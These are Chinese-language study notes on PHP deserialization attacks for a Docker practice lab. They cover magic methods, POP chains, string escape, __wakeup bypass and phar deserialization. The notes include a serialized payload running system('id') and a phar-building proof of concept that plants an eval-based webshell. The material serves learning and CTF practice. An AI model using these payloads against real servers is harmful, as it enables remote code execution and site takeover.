反序列化

docker 靶场安装sudo docker pull mcc0624/ser:1.8

docker run -p 8002:80 -d mcc0624/ser:1.8

php面向对象

类的定义

php反序列化中的符号都有其特定的标识符

什么是反序列化(unserialize)
将字符串转换为状态信息

在定义变量前面的符号为序列符

每个序列符的作用不一样

序列化

public:属性被序列化的时候属性值会变成 属性名

protected:属性被序列化的时候属性值会变成 \x00*\x00属性名

private:属性被序列化的时候属性值会变成 \x00类名\x00属性名

反序列化

new函数可以用来将变量实例化

PHP内的几个特殊魔术方法

__construct() 类的构造函数,在类实例化对象时自动调用构造函数

__destruct() 类的析构函数,在对象销毁之前自动调用析构函数

__sleep() 在对象被序列化(使用 serialize() 函数)之前自动调用,可以在此方法中指定需要被序列化的属性,返回一个包含对象中所有应被序列化的变量名称的数组

__wakeup() 在对象被反序列化(使用 unserialize() 函数)之前自动调用,可以在此方法中重新初始化对象状态。

__set($property, $value) 当给一个对象的不存在或不可访问(private修饰)的属性赋值时自动调用,传递属性名和属性值作为参数。

__get($property) 当访问一个对象的不存在或不可访问的属性时自动调用,传递属性名作为参数。

__isset($property) 当对一个对象的不存在或不可访问的属性使用 isset() 或 empty() 函数时自动调用,传递属性名作为参数。

__unset($property) 当对一个对象的不存在或不可访问的属性使用 unset() 函数时自动调用,传递属性名作为参数。

__call($method, $arguments) 调用不存在或不可见的成员方法时,PHP会先调用__call()方法来存储方法名及其参数

__callStatic($method, $arguments) 当调用一个静态方法中不存在的方法时自动调用,传递方法名和参数数组作为参数。

__toString() 当使用echo或print输出对象将对象转化为字符串形式时,会调用__toString()方法

__invoke() 当将一个对象作为函数进行调用时自动调用。

__clone() 当使用 clone 关键字复制一个对象时自动调用。

__set_state($array) 在使用 var_export() 导出类时自动调用,用于返回一个包含类的静态成员的数组。

__debugInfo() 在使用 var_dump() 打印对象时自动调用,用于自定义对象的调试信息。
需要的flag编码

$c-> c=d; $c->是php中控制对象的表示符

eval($this->b); 的作用是将 $this->b 的值作为 PHP 代码运行。

__call() //在对象上下文中调用不可访问的方法时触发

魔术方法

想要触发魔术方法必须调用其所在的类

__construct() //创建类对象时调用

__destruct() //对象被销毁时触发

__call() //在对象中调用不可访问的方法时触发

__callStatic() //在静态方式中调用不可访问的方法时触发

__get() //调用类中不存在变量时触发(找有连续箭头的 this->a->b)

__set() //给一个未定义的属性赋值时触发

__isset() //在不可访问的属性上调用isset()或empty()触发

__unset() //在不可访问的属性上使用unset()时触发

__sleep() //使用serialize()时触发

__clone(),当对象复制完成时调用

__autoload(),尝试加载未定义的类

__debugInfo(),打印所需调试信息

该题目直接上传一句话木马

__wakeup() //执行unserialize()时触发

__

__toString() //当对象被当做字符串时自动调用(找echo $this->a这种、strtolower()等)

__invoke() //对象被当做函数进行调用时触发(找有括号的类似$a()这种)

__set_state() //使用var_export()时触发

__clone() //对象复制完成时调用

__autoload() //实例化一个未定义的类时触发

__debugInfo() //使用var_dump时触发
是private成员,序列化结果需要将indextest改成%00index%00test

?test=O:5:”index”:1:{s:11:”%00index%00test”;O:4:”evil”:1:{s:5:”test2”;s:13:”system(‘id’);”;}}

pop链的构造

上述例题中存在toString,construct,wakeup ,get,invoke五个魔法函数

反着推要让include函数读取flag需要激活invoke函数

invoke() 当将一个对象作为函数进行调用时自动调用。

又因为__construct() 类的构造函数,在类实例化对象时自动调用构造函数

所以先出发construct再触发invoke即可又因为tostring在反序列化时被激活所以pop链顺序应该为

show->test->modifier

  1. 入口点: Show类的__wakeup()方法会在反序列化时自动调用,输出$this->source

  2. 触发__toString: 如果source是一个对象且被当作字符串使用,会调用该对象的__toString()方法

  3. 触发__get: 在Show::__toString()中,访问$this->str->source,如果sourceTest类的一个不存在的属性,会触发Test::__get()

  4. 触发__invoke: Test::__get()$this->p作为函数调用,如果$pModifier对象,会调用__invoke()

  5. 最终执行: Modifier::__invoke()调用append()方法包含指定文件

字符串逃逸

字符串减少

反序列化之所以存在字符串逃逸,最主要的原因是代码中存在针对序列化(serialize())后的字符串进行了过滤操作(变多或者变少)

判断功能性符号依靠前方字符长度来判断

字符串逃逸即将前方对后方代码的约束部分也变为字符串使其约束作用失效

将原有的成员属性并列到前面,然后添加一个成员属性已达到字符串逃逸的效果

字符串增多

利用增加的字符串使其可以终端反序列化并且使其执行

相应的代码

注意使用\“表示“本身避免报错

绕过weakup

增加成员属性即可绕过

利用gc回收机制绕过weakup

SESSION反序列化

php 默认格式 `key1 s:4:”test”;key2
php_serialize 完全使用 serialize a:2:{s:4:"key1";s:4:"test";s:4:"key2";i:123;} 直接使用 PHP serialize 的结果
php_binary 二进制格式 \x04key1s:4:"test";\x04key2i:123; 键名前有长度字节,适合处理特殊字符的键名

phar反序列化

基本介绍

Phar反序列化不依赖unserialize()函数进行反序列化。而是构造phar文件,以序列化的形式存储用户自定义的meta-data这一特性,phar_parse_metadata在解析meta数据时,会调用php_var_unserialize进行反序列化操作。具体解析代码。该方法需要在文件系统函数(file_exits()、is_dir()等)参数可控的情况下,配合phar://伪协议直接进行反序列化。即本地构造phar文件把恶意代码本地序列化好,再通过文件上传功能点上传phar文件至目标网站,最后用phar协议配合文件系统函数反序列化phar文件,达到预期目的。

phar文件简介

phar文件是一种打包形式,把php代码和其他资源(图像、表等)捆绑到一个归档文件中来实现应用程序和库的开发,跟jar文件差不多。本质上是一个压缩文件,会议序列化的形式存储用户在自定义的meta-data内的内容

stub:phar文件的标志,必须以 xxx __HALT_COMPILER();?> 结尾,否则无法识别。xxx可以为自定义内容。
//简单地说就是告诉系统自己是一个什么样的文件,声明文件后缀

manifest:phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是漏洞利用最核心的地方。
//存放序列化的内容

content:被压缩文件的内容

signature (可空):签名,放在末尾。

生成phar文件的poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
class Flag{
public $cmd;
public function __construct() {
$this->cmd = "echo '<?=eval(\$_GET[1]);?>'>/var/www/html/1.php";
}

}

$a = new Flag(); //创建一个flag的对象
$phar = new Phar('A.phar'); //创建一个phar对象,这一行代码创建了一个新的 Phar 对象。Phar 是 PHP 中用于创建和操作 PHP 归档文件(PHAR 文件)的一个类。
//功能:new Phar("phar.phar") 文件名后缀必须是phar
//参数:"phar.phar" 是正在创建或打开的 PHAR 文件的名称。如果该文件不存在,则会创建一个新的文件。
$phar->startBuffering(); //开启缓存,在 Phar 对象上调用 startBuffering() 方法可以确保所有的更改在实际写入文件之前都会先被缓冲。这意味着在 stopBuffering() 之前的所有操作都不会立即生效,而是暂时存储在内存中。
$phar->addFromString('test.txt','test'); //向 PHAR 文件中添加一个新的文件。addFromString 方法用于从字符串内容创建一个文件并将其添加到 PHAR 文件中。"test.txt" 是文件名,"test" 是文件内容。这一行代码并不是必须的。它的作用是向 PHAR 文件中添加一个名为 test.txt 的文件,并将其内容设置为 "test"。如果你不需要向 PHAR 文件中添加任何文件,这一行代码可以省略。
$phar->setStub('<?php __HALT_COMPILER(); ? >'); //这一行代码设置了 PHAR 文件的存根(stub)。setStub 方法用于定义 PHAR 文件的入口代码。"<?php __HALT_COMPILER(); ?>" 是一个 PHP 指令,表示停止编译器。此代码在 PHAR 文件执行时首先运行。有时候会有文件头检测,如果有文件头检测可以加上文件头
$phar->setMetadata($a);//设置元数据,setMetadata 方法用于给 PHAR 文件添加元数据。这里将 TestObject 对象 $a 作为元数据添加到 PHAR 文件中。
//自动计算签名
$phar->stopBuffering(); //这一行代码停止缓冲操作并将所有缓冲的更改写入 PHAR 文件。stopBuffering 方法会将之前缓冲的所有更改实际写入到 PHAR 文件中,使更改生效。
?>

漏洞实现前提

1
2
3
1.phar文件要能够上传到服务器端。
2.要有可用的魔术方法作为“跳板”。
3.文件操作函数的参数可控,且 ./ ../ phar等特殊字符没有被过滤
文件操作函数

php大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化

使用phar为协议读取

file=phar:///var/www/html/upload/321532365639f31b3b9f8ea8be0c6be2.png

注意在修改phar为off时;要删去并且要在phpstorm的解释器的ini文件修改